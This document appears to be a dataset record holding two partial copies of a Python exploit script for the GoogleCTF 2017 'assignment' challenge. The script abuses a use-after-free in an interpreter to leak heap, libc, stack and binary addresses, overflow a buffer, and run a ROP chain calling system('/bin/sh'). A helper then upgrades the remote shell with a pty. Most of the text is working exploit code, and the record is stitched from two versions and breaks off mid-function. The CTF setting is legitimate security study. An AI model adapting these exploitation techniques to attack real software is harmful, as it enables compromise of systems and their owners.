print(ansi(Term.COLOR_MAGENTA) + '[-] ' + msg + ansi(Term.CLEAR))\n\n\ndef print_info(msg):\n print('[*] ' + msg)\n\n\ndef bytes_and_strings_are_cool(func):\n \"\"\"Decorator to encode arguments that are string instances.\"\"\"\n\n def inner(*args, **kwargs):\n nargs = tuple(map(lambda arg: e(arg) if isinstance(arg, str) else\n arg, args))\n nkwargs = dict(map(lambda k, v: (k, e(v)) if isinstance(v, str) else\n (k, v), kwargs))\n return func(*nargs, **nkwargs)\n return inner\n\n\ndef validate(data, badchars):\n \"\"\"Assert that no badchar occurs in data.\"\"\"\n assert all(b not in data for b in badchars)\n\n\ndef is_printable(b):\n \"\"\"Return true if the given byte is a printable ASCII character.\"\"\"\n return b in e(string.printable)\n\n\ndef hexdump(data):\n \"\"\"Return a hexdump of the given data. Similar to what `hexdump -C` produces.\"\"\"\n\n def is_hexdump_printable(b):\n return (b in\n b' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`~!@#$%^&*()-_=+[]{}\\\\|\\'\";:/?.,<>'\n )\n lines = []\n chunks = (data[i * 16:i * 16 + 16] for i in range((len(data) + 15) // 16))\n for i, chunk in enumerate(chunks):\n hexblock = ['{:02x}'.format(b) for b in chunk]\n left, right = ' '.join(hexblock[:8]), ' '.join(hexblock[8:])\n asciiblock = ''.join(chr(b) if is_hexdump_printable(b) else '.' for\n b in chunk)\n lines.append('{:08x} {:23} {:23} |{}|'.format(i * 16, left,\n right, asciiblock))\n return '\\n'.join(lines)\n\n\nclass Term:\n COLOR_BLACK = '30'\n COLOR_RED = '31'\n COLOR_GREEN = '32'\n COLOR_BROWN = '33'\n COLOR_BLUE = '34'\n COLOR_MAGENTA = '35'\n COLOR_CYAN = '36'\n COLOR_WHITE = '37'\n CLEAR = '0'\n UNDERLINE = '4'\n BOLD = '1'\n ESCAPE_START = '\\x1b['\n ESCAPE_END = 'm'\n\n\ndef ansi(*args):\n \"\"\"Construct an ANSI terminal escape code.\"\"\"\n code = Term.ESCAPE_START\n code += ';'.join(args)\n code += Term.ESCAPE_END\n return code\n\n\nclass DisconnectException(Exception):\n pass\n\n\nclass Pattern:\n \"\"\"De-Bruijn sequence generator.\"\"\"\n alphabet = string.digits + string.ascii_letters\n\n def __init__(self, length):\n if length <= len(self.alphabet):\n self._seq = self.alphabet[:length]\n elif length <= len(self.alphabet) ** 2:\n self._seq = self._generate(2)[:length]\n elif length <= len(self.alphabet) ** 3:\n self._seq = self._generate(3)[:length]\n elif length <= len(self.alphabet) ** 4:\n self._seq = self._generate(4)[:length]\n else:\n raise Exception('Pattern length is way to large')\n\n def _generate(self, n):\n \"\"\"Generate a De Bruijn sequence.\"\"\"\n k = len(self.alphabet)\n a = [0] * k * n\n sequence = []\n\n def db(t, p):\n if t > n:\n if n % p == 0:\n sequence.extend(a[1:p + 1])\n else:\n a[t] = a[t - p]\n db(t + 1, p)\n for j in range(a[t - p] + 1, k):\n a[t] = j\n db(t + 1, t)\n db(1, 1)\n return ''.join(self.alphabet[i] for i in sequence)\n\n def bytes(self):\n \"\"\"Return this sequence as bytes.\"\"\"\n return e(self._seq)\n\n def __str__(self):\n \"\"\"Return this sequence as string.\"\"\"\n return self._seq\n\n @bytes_and_strings_are_cool\n def offset(self, needle):\n \"\"\"Returns the index of 'needle' in this sequence.\n\n 'needle' should be of type string or bytes. If an integer is provided\n it will be treated as 32-bit or 64-bit little endian number, depending\n on its bit length.\n \"\"\"\n if isinstance(needle, int):\n if needle.bit_length() <= 32:\n needle = p32(needle)\n else:\n needle = p64(needle)\n needle = d(needle)\n idx = self._seq.index(needle)\n if self._seq[idx + len(needle):].find(needle) != -1:\n raise ValueError('Multiple occurances found!')\n return idx\n\n\nclass Channel:\n \"\"\"Convenience wrapper around a socket.\"\"\"\n OUTGOING_COLOR = Term.COLOR_RED\n INCOMING_COLOR = Term.COLOR_BLUE\n\n def __init__(self, sock, verbose):\n self._s = sock\n self._verbose = verbose\n self._buf = bytearray()\n\n def _prettyprint(self, data, outgoing):\n \"\"\"Prettyprint the given data.\n\n This does the following: All data that is valid ASCII is colorized according to the direction of the traffic.\n Everything else is converted to hex, then printed in bold and underline for visibility.\n\n Only ASCII is supported as of now. This might be the better choice anyway since otherwise valid UTF-8 might be\n detected in arbitrary binary streams.\n \"\"\"\n TEXT = 0\n BINARY = 1\n X = 4\n Y = 16\n Z = 2\n color = self.OUTGOING_COLOR if outgoing else self.INCOMING_COLOR\n parts = []\n curr = ''\n for b in data:\n if is_printable(b):\n parts.append((TEXT, b))\n else:\n parts.append((BINARY, b))\n i = 0\n mergedparts = []\n while i < len(parts):\n t = parts[i][0]\n arr = [parts[i][1]]\n j = i + 1\n while j < len(parts) and parts[j][0] == t:\n arr.append(parts[j][1])\n j += 1\n i = j\n extra = []\n if t == TEXT and len(arr) > Y and i < len(parts) - 1:\n mid = len(arr) - Z - 1\n start, end = mid, mid\n char = arr[mid]\n while start >= 0 and arr[start] == char:\n start -= 1\n while end < len(arr) and arr[end] == char:\n end += 1\n if end - start >= Y + 2 and end < len(parts):\n extra = arr[end:]\n arr = arr[:end]\n mergedparts.append((t, bytes(arr)))\n if extra:\n mergedparts.append((BINARY, bytes(extra)))\n parts = mergedparts\n buf = ''\n last = None\n for tag, value in parts:\n if tag == TEXT and len(value) <= X and last == BINARY:\n tag = BINARY\n if tag == TEXT:\n buf += ansi(Term.CLEAR) + ansi(color)\n else:\n buf += ansi(color, Term.BOLD, Term.UNDERLINE)\n value = hexlify(value)\n buf += d(value)\n last = tag\n buf += ansi(Term.CLEAR)\n print(buf, end='')\n sys.stdout.flush()\n\n def setVerbose(self, verbose):\n \"\"\"Set verbosity of this channel.\"\"\"\n self._verbose = verbose\n\n def recv(self, n=4096):\n \"\"\"Return up to n bytes of data from the remote end.\n\n Buffers incoming data internally.\n\n NOTE: You probably shouldn't be using this method. Use one of the other recvX methods instead.\n \"\"\"\n if len(self._buf) < n:\n buf = self._s.recv(65536)\n if not buf and not self._buf:\n raise DisconnectException('Server disconnected.')\n if self._verbose:\n self._prettyprint(buf, False)\n self._buf += buf\n buf = self._buf[:n]\n self._buf = self._buf[n:]\n return buf\n\n def recvn(self, n):\n \"\"\"Return exactly n bytes of data from the remote end.\"\"\"\n data = []\n while len(data) != n:\n data.append(self.recv(1))\n return b''.join(data)\n\n @bytes_and_strings_are_cool\n def recvtil(self, delim):\n \"\"\"Read data from the remote end until delim is found in the data.\n\n The first occurance of delim is included in the returned buffer.\n \"\"\"\n buf = b''\n while not delim in buf:\n buf += self.recv(1)\n return buf\n\n def recvregex(self, regex):\n \"\"\"Receive incoming data until it matches the given regex.\n\n Returns the match object.\n\n IMPORTANT: Since the data is coming from the network, it's usually\n a bad idea to use a regex such as 'addr: 0x([0-9a-f]+)' as this function\n will return as soon as 'addr: 0xf' is read. Instead, make sure to\n end the regex with a known sequence, e.g. use 'addr: 0x([0-9a-f]+)\\\\n'.\n \"\"\"\n if isinstance(regex, str):\n regex = re.compile(regex)\n buf = ''\n match = None\n while not match:\n buf += d(self.recv(1))\n match = regex.search(buf)\n return match\n\n def recvline(self):\n \"\"\"Receive and return a line from the remote end.\n\n The trailing newline character will be included in the returned buffer.\n \"\"\"\n return self.recvtil('\\n')\n\n def send(self, buf):\n \"\"\"Send all data in buf to the remote end.\"\"\"\n if self._verbose:\n self._prettyprint(buf, True)\n self._s.sendall(buf)\n\n def sendnum(self, n):\n \"\"\"Send the string representation of n followed by a newline character.\"\"\"\n self.sendline(str(n))\n\n @bytes_and_strings_are_cool\n def sendline(self, l):\n \"\"\"Prepend a newline to l and send everything to the remote end.\"\"\"\n self.send(l + b'\\n')\n\n def interact(self):\n \"\"\"Interact with the remote end: connect stdout and stdin to the socket.\"\"\"\n self._verbose = False\n try:\n while True:\n available, _, _ = select.select([sys.stdin, self._s], [], [])\n for src in available:\n if src == sys.stdin:\n data = sys.stdin.buffer.read1(1024)\n self.send(data)\n else:\n data = self.recv(4096)\n sys.stdout.buffer.write(data)\n sys.stdout.flush()\n except KeyboardInterrupt:\n return\n except DisconnectException:\n print_info('Server disconnected.')\n return\n\n\ndef telnet(shell='/bin/bash'):\n \"\"\"Telnet emulation.\n\n Opens a PTY on the remote end and connects the master side to the socket.\n Then spawns a shell connected to the slave end and puts the controlling TTY\n on the local machine into raw mode.\n Result: Something similar to a telnet/(plaintext)ssh session.\n\n Vim, htop, su, less, etc. will work with this.\n\n !!! This function only works if the channel is connected to a shell !!!\n \"\"\"\n assert sys.stdin.isatty()\n c.setVerbose(False)\n code = \"import pty; pty.spawn(['{}', '-i'])\".format(shell)\n sendline('python -c \"{}\"; exit'.format(code))\n time.sleep(0.5)\n old_settings = termios.tcgetattr(sys.stdin.fileno())\n tty.setraw(sys.stdin)\n cols, rows = os.get_terminal_size(sys.stdin.fileno())\n sendline('stty rows {} cols {}; echo READY'.format(rows, cols))\n recvtil('READY\\r\\n')\n recvtil('READY\\r\\n')\n interact()\n termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_settings)\n\n\ndef send(b):\n c.send(b)\n\n\ndef sendline(l):\n c.sendline(l)\n\n\ndef sendnum(n):\n c.sendnum(n)\n\n\ndef recv(n):\n return c.recv(n)\n\n\ndef recvtil(delim):\n return c.recvtil(delim)\n\n\ndef recvn(n):\n return c.recvn(n)\n\n\ndef recvline():\n return c.recvline()\n\n\ndef recvregex(r):\n return c.recvregex(r)\n\n\ndef interact():\n c.interact()\n\n\n<mask token>\n\n\ndef evl(code):\n sendline(code)\n\n\ndef readvar(name):\n evl('=')\n recvtil('Bad token: 0-1\\n> ')\n evl(name)\n response = recvtil('> ')\n return response.split(b'\\n')[0]\n\n\ndef readintvar(name):\n return int(d(readvar(name)))\n\n\ndef readstrvar(name):\n return readvar(name)[1:-1]\n\n\ndef heapleak():\n \"\"\"Free the lhs and rhs values during add_assign. ...\"\"\"\n for i in range(16):\n evl('{}'.format(i))\n evl('h=0+0')\n return readintvar('h') & 18446744073709547520\n\n\ndef gc(remaining):\n \"\"\"Trigger gargabe collection\"\"\"\n for i in range(remaining):\n evl('{}'.format(i))\n\n\ndef leak(addr, length):\n \"\"\"Leaks process memory by abusing the UAF to temporarily inject a fake string.\"\"\"\n fake_str_addr = heap_base + 176\n fake_str = p64(length) + p64(addr)\n evl(b'l=\"' + fake_str + b'\"')\n for i in range(15):\n evl('{}'.format(i))\n evl('a={}+x'.format(fake_str_addr))\n gc(16)\n return readstrvar('a')[0:length]\n\n\ndef leak2(addr, length):\n \"\"\"Same as above, but different offsets...\"\"\"\n fake_str_addr = heap_base + 368\n fake_str = p64(length) + p64(addr)\n evl(b'l=\"' + fake_str + b'\"')\n for i in range(12):\n evl('{}'.format(i))\n evl('a={}+x'.format(fake_str_addr))\n return readstrvar('a')[0:length]\n\n\ndef pwn():\n global heap_base\n recvtil('>')\n evl('x=\"XXXXXXXXXXXXXXXX\"')\n heap_base = heapleak()\n print_good('Heap base @ 0x{:x}'.format(heap_base))\n evl('\"{}\"'.format('A' * 256))\n gc(20 - 4)\n heap_mem = leak(heap_base, 4096)\n for i in range(0, len(heap_mem) - 16, 8):\n flink = u64(heap_mem[i:i + 8])\n blink = u64(heap_mem[i + 8:i + 16])\n if (abs(flink - heap_base) > 65536 and flink > 139637976727552 and \n flink < 140737488355328 and blink > 139637976727552 and blink <\n 140737488355328):\n break\n else:\n print_bad('No freelist pointers found :(')\n return\n libc = flink - 3938600\n print_good('libc @ 0x{:x}'.format(libc))\n env_ptr = u64(leak2(libc + 3949728, 8))\n print_good('stack @ 0x{:x}'.format(env_ptr))\n system = libc + 288144\n bin_sh = libc + 1573123\n pop_rdi = libc + 142234\n pop_rsi = libc + 149637\n pop_rdx = libc + 7054\n add_rsp_0x48 = libc + 1006475\n print_good('/bin/sh @ 0x{:x}'.format(bin_sh))\n input_buf = env_ptr - 808\n print_good('input_buf @ 0x{:x}'.format(input_buf))\n ret_addr = env_ptr - 808 - 8\n print_good('return address @ 0x{:x}'.format(ret_addr))\n evl('l.a=x')\n evl('h.a=x')\n evl('a.a=x')\n evl('b.a=x')\n evl('c.a=x')\n evl('d.a=x')\n evl('e.a=x')\n evl('f.a=x')\n for i in range(9):\n evl('\"{}\"'.format('A' * 16))\n evl('1337')\n for o in ['l', 'a', 'h', 'a', 'b', 'c', 'd', 'e', 'f']:\n for p in ALPHABET:\n evl('{}.{}=x'.format(o, p))\n for i in range(6):\n evl('1337')\n for i in 'ghijk':\n evl('{}=x'.format(i))\n fake_str = p64(18446744073709551615 - 15 - (384 - 16)) + p64(71748523475265\n ) + b'D' * 240\n evl(b'n=\"' + fake_str + b'\"')\n payload = b'\\x00' * 64 + p64(ord('p')) + p64(input_buf + 16 + 256) + p64(\n input_buf - 7)\n payload += b'\\x00' * (384 - len(payload))\n evl(b'o=\"' + payload + b'\"')\n fake_str_addr = heap_base + 7808\n evl('p=o+{}'.format(fake_str_addr))\n payload = b'A' * 256\n payload += p64(1) + p64(input_buf + 16 + 256 + 24) + p64(0)\n payload += p64(8) + p64(ret_addr)\n evl(payload)\n binary = readstrvar('p')\n binary = u64(binary) - 2769\n print_good('binary @ 0x{:x}'.format(binary))\n offset_to_ret = ret_addr - (input_buf & 18446744073709551360)\n print_good('offset to return address: 0x{:x}'.format(offset_to_ret))\n if offset_to_ret > 40 or offset_to_ret < 0:\n print_bad('Bad offset')\n return\n prop_name = p64(binary + 2761)[1]\n if prop_name < ord('A') or prop_name > ord('z'):\n print_bad('Bad propery name: {}'.format(prop_name))\n return\n prop_name = chr(prop_name)\n print_good('property name: {}'.format(prop_name))\n payload = b'A' * 56\n payload += p64(pop_rdi)\n payload += p64(bin_sh)\n payload += p64(system)\n validate(payload, [b'\\n'])\n evl(payload)\n evl('{}=42'.format(prop_name))\n payload = b'A' * offset_to_ret\n payload += p64(add_rsp_0x48)\n validate(payload, [b'\\n'])\n evl(payload)\n time.sleep(0.5)\n interact()\n\n\n<mask token>\n", "step-5": "#!/usr/bin/env python3\n#\n# Exploit for \"assignment\" of GoogleCTF 2017\n#\n# CTF-quality exploit...\n#\n# Slightly simplified and shortened explanation:\n#\n# The bug is a UAF of one or both values during add_assign() if a GC is\n# triggered during allocate_value(). The exploit first abuses this to leak a\n# pointer into the heap by confusing an Integer Value with a Property. It then\n# abuses the UAF differently to create a fake String instance which is\n# concatenated and returned. By faking a String in the heap, we can read\n# arbitrary memory. We leak the addresses of libc and the stack. Next the\n# exploit does some heap feng shui, then fakes a string with length 0xffffffXX,\n# which triggers an integer overflow during string_concat(). This gives us a\n# heap-based buffer overflow. With that we first corrupt a Property to point\n# into the stack, then overwrite the length of the fake string with 0 to stop\n# the memcpy. We leak the address of the binary from the return address. Next\n# we write a value to the fake property. This writes a pointer to the heap into\n# the stack. With that we corrupt only the first byte of the input buffer\n# pointer so it now points further down into the stack. The next call to\n# readline() by the application then writes into the stack frame of readline()\n# and ultimately overwrites the return address => we get ROP:\n#\n# [+] Heap base @ 0x55cd3d465000\n# [+] libc @ 0x7f7ea1f79000\n# [+] stack @ 0x7ffcf044f448\n# [+] /bin/sh @ 0x7f7ea20f9103\n# [+] input_buf @ 0x7ffcf044f120\n# [+] return address @ 0x7ffcf044f118\n# [+] binary @ 0x55cd3c696000\n# [+] offset to return address: 0x18\n# [+] property name: j\n# id\n# uid=1337(user) gid=1337(user) groups=1337(user)\n# ls\n# assignment\n# flag.txt\n# cat flag.txt\n# CTF{d0nT_tHrOw_0u7_th1nG5_yoU_5ti11_u53}\n#\n# Author: Samuel <saelo> Groß\n#\n\nimport socket\nimport termios\nimport tty\nimport time\nimport sys\nimport select\nimport os\nimport re\nimport telnetlib\nimport string\nfrom struct import pack, unpack\nfrom binascii import hexlify, unhexlify\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Global Config\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#TARGET = ('localhost', 4444)\nTARGET = ('assignment.ctfcompetition.com', 1337)\n\n# Enable \"wireshark\" mode, pretty prints all incoming and outgoing network traffic.\nNETDEBUG = False\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Encoding and Packing\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\ndef e(d):\n \"\"\"Encode the given string instance using UTF-8.\"\"\"\n return d.encode('UTF-8')\n\ndef d(d):\n \"\"\"Decode the given bytes instance using UTF-8.\"\"\"\n return d.decode('UTF-8')\n\ndef p32(d):\n \"\"\"Return d packed as 32-bit unsigned integer (little endian).\"\"\"\n return pack('<I', d)\n\ndef u32(d):\n \"\"\"Return the number represented by d when interpreted as a 32-bit unsigned integer (little endian).\"\"\"\n return unpack('<I', d)[0]\n\ndef p64(d):\n \"\"\"Return d packed as 64-bit unsigned integer (little endian).\"\"\"\n return pack('<Q', d)\n\ndef u64(d):\n \"\"\"Return the number represented by d when interpreted as a 64-bit unsigned integer (little endian).\"\"\"\n return unpack('<Q', d)[0]\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Output\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\ndef print_good(msg):\n print(ansi(Term.BOLD) + '[+] ' + msg + ansi(Term.CLEAR))\n\ndef print_bad(msg):\n print(ansi(Term.COLOR_MAGENTA) + '[-] ' + msg + ansi(Term.CLEAR))\n\ndef print_info(msg):\n print('[*] ' + msg)\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Misc.\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\ndef bytes_and_strings_are_cool(func):\n \"\"\"Decorator to encode arguments that are string instances.\"\"\"\n def inner(*args, **kwargs):\n nargs = tuple(map(lambda arg: e(arg) if isinstance(arg, str) else arg, args))\n nkwargs = dict(map(lambda k, v: (k, e(v)) if isinstance(v, str) else (k, v), kwargs))\n return func(*nargs, **nkwargs)\n return inner\n\ndef validate(data, badchars):\n \"\"\"Assert that no badchar occurs in data.\"\"\"\n assert(all(b not in data for b in badchars))\n\ndef is_printable(b):\n \"\"\"Return true if the given byte is a printable ASCII character.\"\"\"\n return b in e(string.printable)\n\ndef hexdump(data):\n \"\"\"Return a hexdump of the given data. Similar to what `hexdump -C` produces.\"\"\"\n\n def is_hexdump_printable(b):\n return b in b' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`~!@#$%^&*()-_=+[]{}\\\\|\\'\";:/?.,<>'\n\n lines = []\n chunks = (data[i*16:i*16+16] for i in range((len(data) + 15) // 16))\n\n for i, chunk in enumerate(chunks):\n hexblock = ['{:02x}'.format(b) for b in chunk]\n left, right = ' '.join(hexblock[:8]), ' '.join(hexblock[8:])\n asciiblock = ''.join(chr(b) if is_hexdump_printable(b) else '.' for b in chunk)\n lines.append('{:08x} {:23} {:23} |{}|'.format(i*16, left, right, asciiblock))\n\n return '\\n'.join(lines)\n\nclass Term:\n COLOR_BLACK = '30'\n COLOR_RED = '31'\n COLOR_GREEN = '32'\n COLOR_BROWN = '33'\n COLOR_BLUE = '34'\n COLOR_MAGENTA = '35'\n COLOR_CYAN = '36'\n COLOR_WHITE = '37'\n CLEAR = '0'\n\n UNDERLINE = '4'\n BOLD = '1'\n\n ESCAPE_START = '\\033['\n ESCAPE_END = 'm'\n\n# TODO rename to style and append Term.Clear ?\ndef ansi(*args):\n \"\"\"Construct an ANSI terminal escape code.\"\"\"\n code = Term.ESCAPE_START\n code += ';'.join(args)\n code += Term.ESCAPE_END\n return code\n\nclass DisconnectException(Exception):\n pass\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Pattern Generation\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nclass Pattern:\n \"\"\"De-Bruijn sequence generator.\"\"\"\n alphabet = string.digits + string.ascii_letters\n\n def __init__(self, length):\n if length <= len(self.alphabet):\n self._seq = self.alphabet[:length]\n elif length <= len(self.alphabet) ** 2:\n self._seq = self._generate(2)[:length]\n elif length <= len(self.alphabet) ** 3:\n self._seq = self._generate(3)[:length]\n elif length <= len(self.alphabet) ** 4:\n self._seq = self._generate(4)[:length]\n else:\n raise Exception(\"Pattern length is way to large\")\n\n def _generate(self, n):\n \"\"\"Generate a De Bruijn sequence.\"\"\"\n # See https://en.wikipedia.org/wiki/De_Bruijn_sequence\n\n k = len(self.alphabet)\n a = [0] * k * n\n sequence = []\n\n def db(t, p):\n if t > n:\n if n % p == 0:\n sequence.extend(a[1:p + 1])\n else:\n a[t] = a[t - p]\n db(t + 1, p)\n for j in range(a[t - p] + 1, k):\n a[t] = j\n db(t + 1, t)\n db(1, 1)\n return ''.join(self.alphabet[i] for i in sequence)\n\n def bytes(self):\n \"\"\"Return this sequence as bytes.\"\"\"\n return e(self._seq)\n\n def __str__(self):\n \"\"\"Return this sequence as string.\"\"\"\n return self._seq\n\n @bytes_and_strings_are_cool\n def offset(self, needle):\n \"\"\"Returns the index of 'needle' in this sequence.\n\n 'needle' should be of type string or bytes. If an integer is provided\n it will be treated as 32-bit or 64-bit little endian number, depending\n on its bit length.\n \"\"\"\n if isinstance(needle, int):\n if needle.bit_length() <= 32:\n needle = p32(needle)\n else:\n needle = p64(needle)\n needle = d(needle)\n\n idx = self._seq.index(needle)\n if self._seq[idx+len(needle):].find(needle) != -1:\n raise ValueError(\"Multiple occurances found!\")\n\n return idx\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Network\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nclass Channel:\n \"\"\"Convenience wrapper around a socket.\"\"\"\n OUTGOING_COLOR = Term.COLOR_RED\n INCOMING_COLOR = Term.COLOR_BLUE\n\n def __init__(self, sock, verbose):\n self._s = sock\n self._verbose = verbose\n self._buf = bytearray()\n\n def _prettyprint(self, data, outgoing):\n \"\"\"Prettyprint the given data.\n\n This does the following: All data that is valid ASCII is colorized according to the direction of the traffic.\n Everything else is converted to hex, then printed in bold and underline for visibility.\n\n Only ASCII is supported as of now. This might be the better choice anyway since otherwise valid UTF-8 might be\n detected in arbitrary binary streams.\n \"\"\"\n TEXT = 0\n BINARY = 1\n # Various Thresholds for the heuristics below\n X = 4\n Y = 16\n Z = 2\n\n\n color = self.OUTGOING_COLOR if outgoing else self.INCOMING_COLOR\n\n # Step 1: Tag every byte of the input stream with it's detected type.\n parts = []\n curr = ''\n for b in data:\n if is_printable(b):\n parts.append((TEXT, b))\n else:\n parts.append((BINARY, b))\n\n # Step 2: Merge neighboring bytes of the same type and convert the sequences to type bytes.\n i = 0\n mergedparts = []\n while i < len(parts):\n t = parts[i][0]\n arr = [parts[i][1]]\n j = i+1\n while j < len(parts) and parts[j][0] == t:\n arr.append(parts[j][1])\n j += 1\n i = j\n\n # Heuristic: If there are Y ASCII bytes with the same value followed by Z ASCII bytes followed by binary data, treat the Z bytes as binary as well.\n extra = []\n if t == TEXT and len(arr) > Y and i < len(parts) - 1:\n mid = len(arr) - Z - 1\n start, end = mid, mid\n char = arr[mid]\n while start >= 0 and arr[start] == char:\n start -= 1\n while end < len(arr) and arr[end] == char:\n end += 1\n\n # start and end point outside the range of equal-valued characters now.\n if end - start >= Y+2 and end < len(parts):\n extra = arr[end:]\n arr = arr[:end]\n\n mergedparts.append((t, bytes(arr)))\n if extra:\n mergedparts.append((BINARY, bytes(extra)))\n\n parts = mergedparts\n\n # Step 3: Merge all parts and prepend the ansi terminal escape sequences for the given type.\n buf = ''\n last = None\n for tag, value in parts:\n # Heuristic: If there is an ASCII sequence of X bytes or less surrounded by binary data, treat those as binary as well.\n if tag == TEXT and len(value) <= X and last == BINARY:\n tag = BINARY\n\n if tag == TEXT:\n buf += ansi(Term.CLEAR) + ansi(color)\n else:\n buf += ansi(color, Term.BOLD, Term.UNDERLINE)\n value = hexlify(value)\n\n buf += d(value)\n last = tag\n\n buf += ansi(Term.CLEAR)\n\n # Step 4: Print :)\n print(buf, end='')\n sys.stdout.flush()\n\n def setVerbose(self, verbose):\n \"\"\"Set verbosity of this channel.\"\"\"\n self._verbose = verbose\n\n def recv(self, n=4096):\n \"\"\"Return up to n bytes of data from the remote end.\n\n Buffers incoming data internally.\n\n NOTE: You probably shouldn't be using this method. Use one of the other recvX methods instead.\n \"\"\"\n if len(self._buf) < n:\n buf = self._s.recv(65536)\n if not buf and not self._buf:\n raise DisconnectException(\"Server disconnected.\")\n if self._verbose:\n self._prettyprint(buf, False)\n self._buf += buf\n\n # This code also works if n > len(self._buf)\n buf = self._buf[:n]\n self._buf = self._buf[n:]\n return buf\n\n def recvn(self, n):\n \"\"\"Return exactly n bytes of data from the remote end.\"\"\"\n data = []\n while len(data) != n:\n data.append(self.recv(1))\n\n return b''.join(data)\n\n @bytes_and_strings_are_cool\n def recvtil(self, delim):\n \"\"\"Read data from the remote end until delim is found in the data.\n\n The first occurance of delim is included in the returned buffer.\n \"\"\"\n buf = b''\n # TODO maybe not make this O(n**2)...\n while not delim in buf:\n buf += self.recv(1)\n return buf\n\n def recvregex(self, regex):\n \"\"\"Receive incoming data until it matches the given regex.\n\n Returns the match object.\n\n IMPORTANT: Since the data is coming from the network, it's usually\n a bad idea to use a regex such as 'addr: 0x([0-9a-f]+)' as this function\n will return as soon as 'addr: 0xf' is read. Instead, make sure to\n end the regex with a known sequence, e.g. use 'addr: 0x([0-9a-f]+)\\\\n'.\n \"\"\"\n if isinstance(regex, str):\n regex = re.compile(regex)\n buf = ''\n match = None\n\n while not match:\n buf += d(self.recv(1))\n match = regex.search(buf)\n\n return match\n\n def recvline(self):\n \"\"\"Receive and return a line from the remote end.\n\n The trailing newline character will be included in the returned buffer.\n \"\"\"\n return self.recvtil('\\n')\n\n def send(self, buf):\n \"\"\"Send all data in buf to the remote end.\"\"\"\n if self._verbose:\n self._prettyprint(buf, True)\n self._s.sendall(buf)\n\n def sendnum(self, n):\n \"\"\"Send the string representation of n followed by a newline character.\"\"\"\n self.sendline(str(n))\n\n @bytes_and_strings_are_cool\n def sendline(self, l):\n \"\"\"Prepend a newline to l and send everything to the remote end.\"\"\"\n self.send(l + b'\\n')\n\n def interact(self):\n \"\"\"Interact with the remote end: connect stdout and stdin to the socket.\"\"\"\n # TODO maybe use this at some point: https://docs.python.org/3/library/selectors.html\n self._verbose = False\n try:\n while True:\n available, _, _ = select.select([sys.stdin, self._s], [], [])\n for src in available:\n if src == sys.stdin:\n data = sys.stdin.buffer.read1(1024) # Only one read() call, otherwise this breaks when the tty is in raw mode\n self.send(data)\n else:\n data = self.recv(4096)\n sys.stdout.buffer.write(data)\n sys.stdout.flush()\n except KeyboardInterrupt:\n return\n except DisconnectException:\n print_info(\"Server disconnected.\")\n return\n\n#\n# Telnet emulation\n#\ndef telnet(shell='/bin/bash'):\n \"\"\"Telnet emulation.\n\n Opens a PTY on the remote end and connects the master side to the socket.\n Then spawns a shell connected to the slave end and puts the controlling TTY\n on the local machine into raw mode.\n Result: Something similar to a telnet/(plaintext)ssh session.\n\n Vim, htop, su, less, etc. will work with this.\n\n !!! This function only works if the channel is connected to a shell !!!\n \"\"\"\n assert(sys.stdin.isatty())\n c.setVerbose(False)\n\n # Open a PTY and spawn a bash connected to the slave end on the remote side\n code = 'import pty; pty.spawn([\\'{}\\', \\'-i\\'])'.format(shell)\n sendline('python -c \"{}\"; exit'.format(code))\n time.sleep(0.5) # No really good way of knowing when the shell has opened on the other side...\n # Should maybe put some more functionality into the inline python code instead.\n\n # Save current TTY settings\n old_settings = termios.tcgetattr(sys.stdin.fileno())\n\n # Put TTY into raw mode\n tty.setraw(sys.stdin)\n\n # Resize remote terminal\n # Nice-to-have: also handle terminal resize\n cols, rows = os.get_terminal_size(sys.stdin.fileno())\n sendline('stty rows {} cols {}; echo READY'.format(rows, cols))\n recvtil('READY\\r\\n') # terminal echo\n recvtil('READY\\r\\n') # command output\n\n interact()\n\n # Restore previous settings\n termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_settings)\n\n#\n# Convenience wrappers that use the global socket instance\n#\ndef send(b):\n c.send(b)\n\ndef sendline(l):\n c.sendline(l)\n\ndef sendnum(n):\n c.sendnum(n)\n\ndef recv(n):\n return c.recv(n)\n\ndef recvtil(delim):\n return c.recvtil(delim)\n\ndef recvn(n):\n return c.recvn(n)\n\ndef recvline():\n return c.recvline()\n\ndef recvregex(r):\n return c.recvregex(r)\n\ndef interact():\n c.interact()\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Global Setup\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\ns = socket.create_connection(TARGET)\n#s.settimeout(2)\nc = Channel(s, NETDEBUG)\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Your code here\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nALPHABET = 'abcdefghijklmnopqrstuvwxyz'\n\ndef evl(code):\n sendline(code)\n\ndef readvar(name):\n evl('=')\n recvtil('Bad token: 0-1\\n> ')\n evl(name)\n response = recvtil('> ')\n return response.split(b'\\n')[0]\n\ndef readintvar(name):\n return int(d(readvar(name)))\n\ndef readstrvar(name):\n return readvar(name)[1:-1]\n\ndef heapleak():\n \"\"\"Free the lhs and rhs values during add_assign. ...\"\"\"\n for i in range(16):\n evl('{}'.format(i))\n\n # Trigger heap info leak\n evl('h=0+0')\n return readintvar('h') & 0xfffffffffffff000\n\ndef gc(remaining):\n \"\"\"Trigger gargabe collection\"\"\"\n for i in range(remaining):\n evl('{}'.format(i))\n\ndef leak(addr, length):\n \"\"\"Leaks process memory by abusing the UAF to temporarily inject a fake string.\"\"\"\n 